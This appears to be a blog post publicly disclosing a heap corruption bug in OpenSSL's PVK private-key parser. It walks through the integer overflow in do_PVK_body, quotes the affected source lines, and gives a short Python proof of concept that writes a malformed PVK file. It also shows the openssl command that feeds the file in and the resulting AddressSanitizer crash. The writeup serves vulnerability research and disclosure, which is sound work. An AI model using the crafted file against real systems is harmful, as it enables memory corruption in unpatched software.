Public disclosure: malformed private keys lead to heap corruption in OpenSSL’s b2i_PVK_bio

The reason of this public disclosure

I’m all for responsible disclosure, and this is the route I almost always follow whenever I find a vulnerability in some application. I reported this one on February 24th, and on February 26th, in response to a different inquiry of mine, I was told that any reports submitted from there on had to wait until the next release. This one apparently didn’t make the cut. I respect the fact that the OpenSSL team has to conform to deadlines and schedules.
However, I’ve decided to publicly disclose this one because I think it’s not necessarily more secure to have vulnerable code running on servers for a month of more while attackers, if any (for this vulnerability), are not bound to release cycles and have the advantage of time.

Analysis of the vulnerability

In do_PVK_body, this allocation occurs:

695         enctmp = OPENSSL_malloc(keylen + 8);

a while later this memcpy occurs:

705         memcpy(enctmp, p, 8);

The memcpy presumes that enctmp is at least 8 bytes large. However, if
keylen is (2**32)-8 == 0xFFFFFFF9 at the time of the allocation, then
0xFFFFFFF9 + 8 == 1 byte is effectively allocated.

‘keylen’ is set by b2i_PVK_bio() (the function that calls do_PVK_body)
via do_PVK_header:

(in b2i_PVK_bio)

761     if (!do_PVK_header(&p, 24, 0, &saltlen, &keylen))
762         return 0;

do_PVK_header:

616 static int do_PVK_header(const unsigned char **in, unsigned int length,
617                          int skip_magic,
618                          unsigned int *psaltlen, unsigned int *pkeylen)
619 {
...
...
...
644     *psaltlen = read_ledword(&p);
645     *pkeylen = read_ledword(&p);
...
...
...
654 }

As you can see, keylen is retrieved from the input file directly.

After do_PVK_header has been called by b2i_PVK_bio, and thus saltlen,
keylen have been set, this allocation occurs:

763     buflen = (int)keylen + saltlen;
764     buf = OPENSSL_malloc(buflen);

OPENSSL_malloc will only succeed if buflen > 0. In order to pass this
allocation, the attacker may set the following values for keylen and
saltlen in the file that is being processed:

saltlen: 0x0000000A
keylen: 0xFFFFFFF9

which results in an allocation of 3 bytes here.

This implies that the post-header data of the file is at least 3 bytes:

770     if (BIO_read(in, buf, buflen) != buflen) {
771         PEMerr(PEM_F_B2I_PVK_BIO, PEM_R_PVK_DATA_TOO_SHORT);
772         goto err;
773     }

Back to do_PVK_body:

695         enctmp = OPENSSL_malloc(keylen + 8);
696         if (!enctmp) {
697             PEMerr(PEM_F_DO_PVK_BODY, ERR_R_MALLOC_FAILURE);
698             goto err;
699         }
700         if (!derive_pvk_key(keybuf, p, saltlen,
701                             (unsigned char *)psbuf, inlen))
702             goto err;
703         p += saltlen;
704         /* Copy BLOBHEADER across, decrypt rest */
705         memcpy(enctmp, p, 8);
706         p += 8;
707         if (keylen < 8) {
708             PEMerr(PEM_F_DO_PVK_BODY, PEM_R_PVK_TOO_SHORT);
709             goto err;
710         }

derive_pvk_key will attempt to read 10 bytes from ‘p’. Since the payload
is only 3 bytes, this is an overread of 7 bytes. Hardened/ASAN
builds will crash, but other than that this typically shouldn’t
give any problems.

Then memcpy will corrupt the memory around ‘enctmp’ because it consists
of only 1 byte while trying to write 8 bytes.

Here is a PoC:

#!/usr/bin/env python
import sys
MS_PVKMAGIC         = '\x1e\xf1\xb5\xb0'
reserved            = '\x00' * 4
is_encrypted        = '\x01\x00\x00\x00'
saltlen             = '\x0A\x00\x00\x00'
keylen              = '\xF9\xFF\xFF\xFF'
header = "".join([MS_PVKMAGIC, reserved, reserved, is_encrypted,
saltlen, keylen])
payload = '\x00' * 3

sys.stdout.write(header)
sys.stdout.write(payload)

Compile OpenSSL with -fsanitize=address and then:

$ python pvkgenkey.py | apps/openssl pkey -inform pv -passin pass:1234
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
=================================================================
==11842== ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60040000de59 at pc 0x542666 bp 0x7ffc63024ff0 sp 0x7ffc63024fe8
READ of size 1 at 0x60040000de59 thread T0
...
...
...

This is the overread within derive_pvk_key. If you comment out that call for the sake of demonstration, ASAN will crash on the subsequent memcpy.

Note

I found CVE-2016-0799 (BIO_printf), CVE-2016-0797 (BN_hex2bn/BN_dec2bn) and this one all within about a week of reading the code while taking an opportunistic approach towards finding vulnerabilities (rather than doing a full audit in any meaningful sense of that word). Based on this, I’d wager that a good number of vulnerabilities may still be present.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.